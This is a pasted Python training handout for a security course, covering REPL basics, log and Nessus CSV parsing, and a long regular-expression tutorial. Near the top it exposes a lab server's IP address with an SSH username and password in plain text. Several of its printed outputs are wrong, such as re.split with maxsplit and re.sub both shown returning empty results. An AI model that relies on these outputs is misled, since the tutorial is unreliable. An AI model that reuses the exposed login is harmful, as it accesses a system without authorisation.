· 6 years ago · Aug 13, 2019, 02:36 AM
1 ##############################
2----------- ############### # Day 1: Python Fundamentals # ############### -----------
3 ##############################
4
5
6####################
7# Installing Python#
8####################
9Windows
10
11https://www.python.org/downloads/
12
1332-Bit Version
14https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe
15
1664-Bit Version
17https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe
18
19
20After you install Python in Windows the next thing you may want to install is IdleX:
21http://idlex.sourceforge.net/features.html
22
23---------------------------Type This-----------------------------------
24
25Linux
26Debian/Ubuntu: sudo apt-get install -y python
27RHEL/CentOS/Fedora: sudo yum install -y python
28
29-----------------------------------------------------------------------
30
31
32After you install Python in Linux the next thing that you will need to do is install idle.
33
34---------------------------Type This-----------------------------------
35
36sudo apt-get install -y idle
37
38-----------------------------------------------------------------------
39
40Open IDLE, and let's just dive right in.
41
42
43- I prefer to use Putty to SSH into my Linux host.
44- You can download Putty from here:
45- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
46
47Here is the information to put into putty
48
49Host Name: 107.191.39.106
50protocol: ssh
51port: 22
52username: sempra
53password: semprapython3!
54
55
56####################################
57# Python Lesson 1: Simple Printing #
58####################################
59
60---------------------------Type This-----------------------------------
61$ python3
62
63>>> print ("Today we are learning Python.")
64
65>>> exit()
66-----------------------------------------------------------------------
67
68
69
70
71############################################
72# Python Lesson 2: Simple Numbers and Math #
73############################################
74
75---------------------------Type This-----------------------------------
76$ python3
77
78>>> 2+2
79
80>>> 6-3
81
82>>> 18/7
83
84>>> 18.0/7
85
86>>> 18.0/7.0
87
88>>> 18/7
89
90>>> 9%4
911
92>>> 8%4
930
94>>> 8.75%.5
95
96>>> 6.*7
97
98>>> 7*7*7
99
100>>> 7**3
101
102>>> 5**12
103
104>>> -5**4
105
106>>> exit()
107
108-----------------------------------------------------------------------
109
110
111
112##############################
113# Python Lesson 3: Variables #
114##############################
115
116---------------------------Type This-----------------------------------
117$ python3
118
119>>> x=18
120
121>>> x+15
122
123>>> x**3
124
125>>> y=54
126
127>>> g=int(input("Enter number here: "))
128Enter number here: 43
129>>> g
130
131>>> g+32
132
133>>> g**3
134
135>>> exit()
136
137-----------------------------------------------------------------------
138
139
140
141
142
143##########################################
144# Python Lesson 4: Modules and Functions #
145##########################################
146
147---------------------------Type This-----------------------------------
148$ python3
149
150>>> 5**4
151
152>>> pow(5,4)
153
154>>> abs(-18)
155
156>>> abs(5)
157
158>>> floor(18.7)
159
160>>> import math
161
162>>> math.floor(18.7)
163
164>>> math.sqrt(81)
165
166>>> joe = math.sqrt
167
168>>> joe(9)
169
170>>> joe=math.floor
171
172>>> joe(19.8)
173
174>>> exit()
175
176-----------------------------------------------------------------------
177
178
179
180############################
181# Python Lesson 5: Strings #
182############################
183
184---------------------------Type This-----------------------------------
185$ python3
186
187>>> "XSS"
188
189>>> 'SQLi'
190
191>>> "Joe's a python lover"
192
193>>> "Joe said \"InfoSec is fun\" to me"
194
195>>> a = "Joe"
196
197>>> b = "McCray"
198
199>>> a, b
200
201>>> a+b
202
203>>> exit()
204-----------------------------------------------------------------------
205
206
207
208
209
210#################################
211# Python Lesson 6: More Strings #
212#################################
213
214---------------------------Type This-----------------------------------
215$ python3
216
217>>> num = 10
218
219>>> num + 2
220
221>>> "The number of open ports found on this system is ", num
222
223>>> num = str(18)
224
225>>> "There are ", num, " vulnerabilities found in this environment."
226
227>>> num2 = 46
228
229>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
230
231>>> exit()
232-----------------------------------------------------------------------
233
234
235
236
237
238########################################
239# Python Lesson 7: Sequences and Lists #
240########################################
241
242---------------------------Type This-----------------------------------
243$ python3
244
245>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
246
247>>> attacks
248['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
249
250>>> attacks[3]
251'SQL Injection'
252
253>>> attacks[-2]
254'Cross-Site Scripting'
255
256>>> exit()
257
258
259
260------------------------------- Summary of fundamentals -------------------------------
261
262
263Joe rule #1 single quote, single quote, left arrow
264--------------------------------------------------
265'' <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
266"" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
267something() <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
268something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
269something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
270
271-- Now kick it up a notch
272[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
273[()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
274[({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
275[({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
276[({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
277
278
279
280Joe rule #2 "Code can only do 3 things"
281--------------------------------------
282
283Process - read, write, math
284
285Decision - if/then
286
287Loop - for
288
289
290
291
292Joe rule #3 "Never more than 5-10"
293---------------------------------
294
295-----5 lines of code----
296line 1 blah blah blah
297line 2 blah blah blah
298line 3 blah blah blah
299line 4 blah blah blah
300line 5 blah blah blah
301
302
303 sales_tax = price * tax_rate
304
305
306 0.80 = 10 * 0.08
307
308-----5-10 lines of code---- = function
309 price = 10
310
311 def st():
312 sales_tax = price * 0.08
313 print(sales_tax)
314
315
316st(10) <---- how to run a function
317
318-----5-10 functions ---- = class "tax class"
319st()
320lt()
321pt()
322it()
323dt()
324
325
326
327tax.st()
328tax.lt()
329
330-----5-10 functions ---- = class "expense class"
331gas()
332elec()
333water()
334food()
335beer()
336
337expense.gas()
338
339
340-----5-10 classes ---- = module "finance module"
341
342import finance
343
344
345------------------------------- Summary of fundamentals -------------------------------
346
347##################################
348# Lesson 8: Intro to Log Analysis #
349##################################
350
351
352Log into your Linux host then execute the following commands:
353-----------------------------------------------------------------------
354NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
355
356
357
358---------------------------Type This-----------------------------------
359mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
360
361cd yourname
362
363wget http://pastebin.com/raw/85zZ5TZX
364
365mv 85zZ5TZX access_log
366
367
368cat access_log | grep 141.101.80.188
369
370cat access_log | grep 141.101.80.188 | wc -l
371
372cat access_log | grep 141.101.80.187
373
374cat access_log | grep 141.101.80.187 | wc -l
375
376cat access_log | grep 108.162.216.204
377
378cat access_log | grep 108.162.216.204 | wc -l
379
380cat access_log | grep 173.245.53.160
381
382cat access_log | grep 173.245.53.160 | wc -l
383
384----------------------------------------------------------------------
385
386
387
388
389
390
391
392###############################################################
393# Python Lesson 9: Use Python to read in a file line by line #
394###############################################################
395
396
397---------------------------Type This-----------------------------------
398
399nano logread1.py
400
401
402---------------------------Paste This-----------------------------------
403## Open the file with read only permit
404f = open('access_log', "r")
405
406## use readlines to read all lines in the file
407## The variable "lines" is a list containing all lines
408lines = f.readlines()
409
410print (lines)
411
412
413## close the file after reading the lines.
414f.close()
415
416----------------------------------------------------------------------
417
418
419
420
421---------------------------Type This-----------------------------------
422$ python3 logread1.py
423----------------------------------------------------------------------
424
425
426
427Google the following:
428 - python difference between readlines and readline
429 - python readlines and readline
430
431
432Here is one student's solution - can you please explain each line of this code to me?
433
434
435---------------------------Type This-----------------------------------
436nano ip_search.py
437
438
439---------------------------Paste This-----------------------------------
440#!/usr/bin/env python3
441
442f = open('access_log')
443
444strUsrinput = input("Enter IP Address: ")
445
446for line in iter(f):
447 ip = line.split(" - ")[0]
448 if ip == strUsrinput:
449 print (line)
450
451f.close()
452
453
454----------------------------------------------------------------------
455
456
457
458
459---------------------------Type This-----------------------------------
460$ python3 ip_search.py
461----------------------------------------------------------------------
462
463
464
465Working with another student after class we came up with another solution:
466
467---------------------------Type This-----------------------------------
468nano ip_search2.py
469
470---------------------------Paste This-----------------------------------
471#!/usr/bin/env python
472
473
474# This line opens the log file
475f=open('access_log',"r")
476
477# This line takes each line in the log file and stores it as an element in the list
478lines = f.readlines()
479
480
481# This lines stores the IP that the user types as a var called userinput
482userinput = input("Enter the IP you want to search for: ")
483
484
485
486# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
487for ip in lines:
488 if ip.find(userinput) != -1:
489 print (ip)
490
491----------------------------------------------------------------------
492
493
494
495---------------------------Type This-----------------------------------
496$ python3 ip_search2.py
497----------------------------------------------------------------------
498
499
500################################
501# Lesson 10: Parsing CSV Files #
502################################
503
504Type the following commands:
505---------------------------------------------------------------------------------------------------------
506
507---------------------------Type This-----------------------------------
508
509wget http://45.63.104.73/class_nessus.csv
510
511----------------------------------------------------------------------
512
513Example 1 - Reading CSV files
514-----------------------------
515#To be able to read csv formated files, we will first have to import the
516#csv module.
517
518
519---------------------------Type This-----------------------------------
520$ python3
521f = open('class_nessus.csv', 'r')
522for row in f:
523 print (row)
524
525
526----------------------------------------------------------------------
527
528
529
530Example 2 - Reading CSV files
531-----------------------------
532
533---------------------------Type This-----------------------------------
534
535nano readcsv.py
536
537---------------------------Paste This-----------------------------------
538#!/usr/bin/env python3
539f = open('class_nessus.csv', 'r') # opens the csv file
540try:
541 for row in f: # iterates the rows of the file in orders
542 print (row) # prints each row
543finally:
544 f.close() # closing
545
546
547
548----------------------------------------------------------------------
549
550
551
552Ok, now let's run this thing.
553
554--------------------------Type This-----------------------------------
555$ python3 readcsv.py
556
557----------------------------------------------------------------------
558
559
560
561
562Example 3 - - Reading CSV files
563-------------------------------
564
565---------------------------Type This-----------------------------------
566
567nano readcsv2.py
568
569---------------------------Paste This-----------------------------------
570#!/usr/bin/python3
571# This program will then read it and displays its contents.
572
573import csv
574
575ifile = open('class_nessus.csv', "r")
576reader = csv.reader(ifile)
577
578rownum = 0
579for row in reader:
580 # Save header row.
581 if rownum == 0:
582 header = row
583 else:
584 colnum = 0
585 for col in row:
586 print ('%-8s: %s' % (header[colnum], col))
587 colnum += 1
588
589 rownum += 1
590
591ifile.close()
592
593
594
595----------------------------------------------------------------------
596
597
598
599---------------------------Type This-----------------------------------
600
601$ python3 readcsv2.py | less
602
603
604----------------------------------------------------------------------
605
606
607
608
609
610
611
612
613
614---------------------------Type This-----------------------------------
615
616nano readcsv3.py
617
618---------------------------Paste This-----------------------------------
619#!/usr/bin/python3
620import csv
621f = open('class_nessus.csv', 'r')
622try:
623 rownum = 0
624 reader = csv.reader(f)
625 for row in reader:
626 #Save header row.
627 if rownum == 0:
628 header = row
629 else:
630 colnum = 0
631 if row[3].lower() == 'high':
632 print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
633 rownum += 1
634finally:
635 f.close()
636
637-----------------------------------------------------------------------
638
639
640---------------------------Type This-----------------------------------
641
642$ python3 readcsv3.py | less
643-----------------------------------------------------------------------
644
645
646
647---------------------------Type This-----------------------------------
648
649nano readcsv4.py
650-----------------------------------------------------------------------
651
652---------------------------Paste This-----------------------------------
653
654#!/usr/bin/python3
655import csv
656f = open('class_nessus.csv', 'r')
657try:
658 print ('/---------------------------------------------------/')
659 rownum = 0
660 hosts = {}
661 reader = csv.reader(f)
662 for row in reader:
663 # Save header row.
664 if rownum == 0:
665 header = row
666 else:
667 colnum = 0
668 if row[3].lower() == 'high' and row[4] not in hosts:
669 hosts[row[4]] = row[4]
670 print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
671 rownum += 1
672finally:
673 f.close()
674----------------------------------------------------------------------
675
676
677
678$ python3 readcsv4.py | less
679
680----------------------------------------------------------------------
681
682
683 ######################################################
684----------- ############### # Day 2: Regular Expressions, Functions, and Classes # ############### -----------
685 ######################################################
686
687#######################
688# Regular Expressions #
689#######################
690
691
692
693**************************************************
694* What is Regular Expression and how is it used? *
695**************************************************
696
697
698Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
699
700
701Regular expressions use two types of characters:
702
703a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
704
705b) Literals (like a,b,1,2…)
706
707
708In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
709
710
711Use this code --> import re
712
713
714
715
716The most common uses of regular expressions are:
717--------------------------------------------------
718
719- Search a string (search and match)
720- Finding a string (findall)
721- Break string into a sub strings (split)
722- Replace part of a string (sub)
723
724
725
726Let's look at the methods that library "re" provides to perform these tasks.
727
728
729
730****************************************************
731* What are various methods of Regular Expressions? *
732****************************************************
733
734
735The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
736
737re.match()
738re.search()
739re.findall()
740re.split()
741re.sub()
742re.compile()
743
744Let's look at them one by one.
745
746
747re.match(pattern, string):
748-------------------------------------------------
749
750This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
751
752Code
753---------------------------Type This-----------------------------------
754$ python3
755import re
756result = re.match(r'AV', 'AV Analytics ESET AV')
757print (result)
758----------------------------------------------------------------------
759
760Output:
761<_sre.SRE_Match object at 0x0000000009BE4370>
762
763Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
764
765---------------------------Type This-----------------------------------
766$ python3
767import re
768result = re.match(r'AV', 'AV Analytics ESET AV')
769print (result.group(0))
770----------------------------------------------------------------------
771
772Output:
773AV
774
775
776Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
777
778
779Code
780---------------------------Type This-----------------------------------
781$ python3
782import re
783result = re.match(r'Analytics', 'AV Analytics ESET AV')
784print (result)
785
786----------------------------------------------------------------------
787
788
789Output:
790None
791
792
793There are methods like start() and end() to know the start and end position of matching pattern in the string.
794
795Code
796---------------------------Type This-----------------------------------
797$ python3
798import re
799result = re.match(r'AV', 'AV Analytics ESET AV')
800print (result.start())
801print (result.end())
802
803----------------------------------------------------------------------
804
805Output:
8060
8072
808
809Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
810
811
812
813
814
815re.search(pattern, string):
816-----------------------------------------------------
817
818
819It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
820
821Code
822---------------------------Type This-----------------------------------
823$ python3
824import re
825result = re.search(r'Analytics', 'AV Analytics ESET AV')
826print (result.group(0))
827----------------------------------------------------------------------
828
829Output:
830Analytics
831
832Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
833
834
835
836
837
838
839re.findall (pattern, string):
840------------------------------------------------------
841
842
843It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
844
845
846Code
847---------------------------Type This-----------------------------------
848$ python3
849import re
850result = re.findall(r'AV', 'AV Analytics ESET AV')
851print (result)
852----------------------------------------------------------------------
853
854Output:
855['AV', 'AV']
856
857
858
859
860
861re.split(pattern, string, [maxsplit=0]):
862------------------------------------------------------
863
864
865
866This methods helps to split string by the occurrences of given pattern.
867
868
869Code
870---------------------------Type This-----------------------------------
871$ python3
872result=re.split(r'y','Analytics')
873result
874 ----------------------------------------------------------------------
875
876Output:
877['Anal', 'tics']
878
879Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
880
881
882Code
883---------------------------Type This-----------------------------------
884$ python3
885import re
886result=re.split(r's','Analytics eset')
887print (result)
888
889----------------------------------------------------------------------
890
891Output:
892['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
893
894
895
896Code
897---------------------------Type This-----------------------------------
898$ python3
899import re
900result=re.split(r's','Analytics eset',maxsplit=1)
901print (result)
902
903----------------------------------------------------------------------
904
905Output:
906[]
907
908
909
910
911
912re.sub(pattern, repl, string):
913----------------------------------------------------------
914
915It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
916
917Code
918---------------------------Type This-----------------------------------
919$ python3
920import re
921result=re.sub(r'Ruby','Python','Joe likes Ruby')
922print (result)
923----------------------------------------------------------------------
924
925Output:
926''
927
928
929
930
931
932re.compile(pattern, repl, string):
933----------------------------------------------------------
934
935
936We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
937
938
939Code
940---------------------------Type This-----------------------------------
941$ python3
942import re
943pattern=re.compile('XSS')
944result=pattern.findall('XSS is Cross Site Scripting, XSS')
945print (result)
946result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
947print (result2)
948
949----------------------------------------------------------------------
950
951Output:
952['XSS', 'XSS']
953['XSS']
954
955Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
956
957This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
958
959
960
961
962
963**********************************************
964* What are the most commonly used operators? *
965**********************************************
966
967
968Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
969
970Operators Description
971. Matches with any single character except newline ‘\n'.
972? match 0 or 1 occurrence of the pattern to its left
973+ 1 or more occurrences of the pattern to its left
974* 0 or more occurrences of the pattern to its left
975\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
976\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
977\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
978\b boundary between word and non-word and /B is opposite of /b
979[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
980\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
981^ and $ ^ and $ match the start or end of the string respectively
982{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
983a| b Matches either a or b
984( ) Groups regular expressions and returns matched text
985\t, \n, \r Matches tab, newline, return
986
987
988For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
989
990Now, let's understand the pattern operators by looking at the below examples.
991
992
993
994****************************************
995* Some Examples of Regular Expressions *
996****************************************
997
998******************************************************
999* Problem 1: Return the first word of a given string *
1000******************************************************
1001
1002
1003Solution-1 Extract each character (using "\w")
1004---------------------------------------------------------------------------
1005
1006Code
1007---------------------------Type This-----------------------------------
1008$ python3
1009import re
1010result=re.findall(r'.','Python is the best scripting language')
1011print (result)
1012----------------------------------------------------------------------
1013
1014Output:
1015['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
1016
1017
1018Above, space is also extracted, now to avoid it use "\w" instead of ".".
1019
1020
1021Code
1022---------------------------Type This-----------------------------------
1023$ python3
1024import re
1025result=re.findall(r'\w','Python is the best scripting language')
1026print (result)
1027
1028----------------------------------------------------------------------
1029
1030Output:
1031['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
1032
1033
1034
1035
1036Solution-2 Extract each word (using "*" or "+")
1037---------------------------------------------------------------------------
1038
1039Code
1040---------------------------Type This-----------------------------------
1041$ python3
1042import re
1043result=re.findall(r'\w*','Python is the best scripting language')
1044print (result)
1045
1046----------------------------------------------------------------------
1047
1048Output:
1049['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
1050
1051
1052Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
1053
1054Code
1055---------------------------Type This-----------------------------------
1056$ python3
1057import re
1058result=re.findall(r'\w+','Python is the best scripting language')
1059print (result)
1060
1061----------------------------------------------------------------------
1062
1063Output:
1064['Python', 'is', 'the', 'best', 'scripting', 'language']
1065
1066
1067
1068
1069Solution-3 Extract each word (using "^")
1070-------------------------------------------------------------------------------------
1071
1072
1073Code
1074---------------------------Type This-----------------------------------
1075$ python3
1076import re
1077result=re.findall(r'^\w+','Python is the best scripting language')
1078print (result)
1079
1080----------------------------------------------------------------------
1081
1082Output:
1083['Python']
1084
1085If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
1086
1087Code
1088---------------------------Type This-----------------------------------
1089$ python3
1090import re
1091result=re.findall(r'\w+$','Python is the best scripting language')
1092print (result)
1093----------------------------------------------------------------------
1094
1095Output:
1096[‘language']
1097
1098
1099
1100
1101
1102**********************************************************
1103* Problem 2: Return the first two character of each word *
1104**********************************************************
1105
1106
1107
1108
1109Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
1110------------------------------------------------------------------------------------------------------
1111
1112Code
1113---------------------------Type This-----------------------------------
1114$ python3
1115import re
1116result=re.findall(r'\w\w','Python is the best')
1117print (result)
1118
1119----------------------------------------------------------------------
1120
1121Output:
1122['Py', 'th', 'on', 'is', 'th', 'be', 'st']
1123
1124
1125
1126
1127
1128Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
1129------------------------------------------------------------------------------------------------------
1130
1131Code
1132---------------------------Type This-----------------------------------
1133$ python3
1134import re
1135result=re.findall(r'\b\w.','Python is the best')
1136print (result)
1137
1138----------------------------------------------------------------------
1139
1140Output:
1141['Py', 'is', 'th', 'be']
1142
1143
1144
1145
1146
1147
1148********************************************************
1149* Problem 3: Return the domain type of given email-ids *
1150********************************************************
1151
1152
1153To explain it in simple manner, I will again go with a stepwise approach:
1154
1155
1156
1157
1158
1159Solution-1 Extract all characters after "@"
1160------------------------------------------------------------------------------------------------------------------
1161
1162Code
1163---------------------------Type This-----------------------------------
1164$ python3
1165import re
1166result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1167print (result)
1168----------------------------------------------------------------------
1169
1170Output: ['@gmail', '@test', '@strategicsec', '@rest']
1171
1172
1173
1174Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
1175
1176---------------------------Type This-----------------------------------
1177$ python3
1178import re
1179result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1180print (result)
1181
1182----------------------------------------------------------------------
1183
1184Output:
1185['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
1186
1187
1188
1189
1190
1191
1192Solution – 2 Extract only domain name using "( )"
1193-----------------------------------------------------------------------------------------------------------------------
1194
1195
1196Code
1197---------------------------Type This-----------------------------------
1198$ python3
1199import re
1200result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1201print (result)
1202
1203----------------------------------------------------------------------
1204
1205Output:
1206['com', 'com', 'com', 'biz']
1207
1208
1209
1210********************************************
1211* Problem 4: Return date from given string *
1212********************************************
1213
1214
1215Here we will use "\d" to extract digit.
1216
1217
1218Solution:
1219----------------------------------------------------------------------------------------------------------------------
1220
1221Code
1222---------------------------Type This-----------------------------------
1223$ python3
1224import re
1225
1226result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1227print (result)
1228
1229----------------------------------------------------------------------
1230
1231Output:
1232['12-05-2007', '11-11-2016', '12-01-2009']
1233
1234If you want to extract only year again parenthesis "( )" will help you.
1235
1236
1237Code
1238
1239---------------------------Type This-----------------------------------
1240$ python3
1241import re
1242result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1243print (result)
1244
1245----------------------------------------------------------------------
1246
1247Output:
1248['2007', '2016', '2009']
1249
1250
1251
1252
1253
1254*******************************************************************
1255* Problem 5: Return all words of a string those starts with vowel *
1256*******************************************************************
1257
1258
1259
1260
1261Solution-1 Return each words
1262-----------------------------------------------------------------------------------------------------------------
1263
1264Code
1265---------------------------Type This-----------------------------------
1266$ python3
1267import re
1268result=re.findall(r'\w+','Python is the best')
1269print (result)
1270----------------------------------------------------------------------
1271
1272Output:
1273['Python', 'is', 'the', 'best']
1274
1275
1276
1277
1278
1279Solution-2 Return words starts with alphabets (using [])
1280------------------------------------------------------------------------------------------------------------------
1281
1282Code
1283---------------------------Type This-----------------------------------
1284$ python3
1285import re
1286result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
1287print (result)
1288
1289----------------------------------------------------------------------
1290
1291Output:
1292['ove', 'on']
1293
1294Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
1295
1296
1297
1298
1299
1300Solution- 3
1301------------------------------------------------------------------------------------------------------------------
1302
1303Code
1304---------------------------Type This-----------------------------------
1305$ python3
1306import re
1307result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
1308print (result)
1309
1310----------------------------------------------------------------------
1311
1312Output:
1313[]
1314
1315In similar ways, we can extract words those starts with constant using "^" within square bracket.
1316
1317
1318Code
1319---------------------------Type This-----------------------------------
1320$ python3
1321import re
1322result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
1323print (result)
1324
1325----------------------------------------------------------------------
1326
1327Output:
1328[' love', ' Python']
1329
1330Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
1331
1332
1333Code
1334---------------------------Type This-----------------------------------
1335$ python3
1336import re
1337result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
1338print (result)
1339
1340----------------------------------------------------------------------
1341
1342Output:
1343['love', 'Python']
1344
1345
1346
1347
1348
1349
1350*************************************************************************************************
1351* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
1352*************************************************************************************************
1353
1354
1355We have a list phone numbers in list "li" and here we will validate phone numbers using regular
1356
1357
1358
1359
1360Solution
1361-------------------------------------------------------------------------------------------------------------------------------------
1362
1363
1364Code
1365---------------------------Type This-----------------------------------
1366$ python3
1367import re
1368li=['9999999999','999999-999','99999x9999']
1369for val in li:
1370 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
1371 print ('yes')
1372 else:
1373 print ('no')
1374
1375
1376----------------------------------------------------------------------
1377
1378Output:
1379yes
1380no
1381no
1382
1383
1384
1385
1386
1387******************************************************
1388* Problem 7: Split a string with multiple delimiters *
1389******************************************************
1390
1391
1392
1393Solution
1394---------------------------------------------------------------------------------------------------------------------------
1395
1396
1397Code
1398---------------------------Type This-----------------------------------
1399$ python3
1400import re
1401line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
1402result= re.split(r'[;,\s]', line)
1403print (result)
1404
1405----------------------------------------------------------------------
1406
1407Output:
1408['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
1409
1410
1411
1412We can also use method re.sub() to replace these multiple delimiters with one as space " ".
1413
1414
1415Code
1416---------------------------Type This-----------------------------------
1417$ python3
1418import re
1419line = 'asdf fjdk;afed,fjek,asdf,foo'
1420result= re.sub(r'[;,\s]',' ', line)
1421print (result)
1422
1423----------------------------------------------------------------------
1424
1425Output:
1426asdf fjdk afed fjek asdf foo
1427
1428
1429
1430
1431**************************************************
1432* Problem 8: Retrieve Information from HTML file *
1433**************************************************
1434
1435
1436
1437I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
1438
1439
1440
1441Create a file (file.txt) that contains the following data:
1442---------------------------Paste This-----------------------------------
1443
1444<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
1445<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
1446<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
1447<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
1448<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
1449<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
1450<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
1451----------------------------------------------------------------------
1452
1453Solution:
1454
1455
1456
1457Code
1458---------------------------Type This-----------------------------------
1459$ python3
1460f=open('file.txt', "r")
1461import re
1462str = f.read()
1463result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
1464print (result)
1465----------------------------------------------------------------------
1466
1467Output:
1468[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
1469
1470
1471
1472You can read html file using library urllib (see below code).
1473
1474
1475Code
1476---------------------------Type This-----------------------------------
1477$ python3
1478from urllib.request import urlopen
1479html = urlopen("http://www.google.com/")
1480print(html.read())
1481----------------------------------------------------------------------
1482NOTE: You can put any website URL that you want in the urllib2.urlopen('')
1483
1484
1485
1486
1487
1488#############
1489# Functions #
1490#############
1491
1492
1493***********************
1494* What are Functions? *
1495***********************
1496
1497
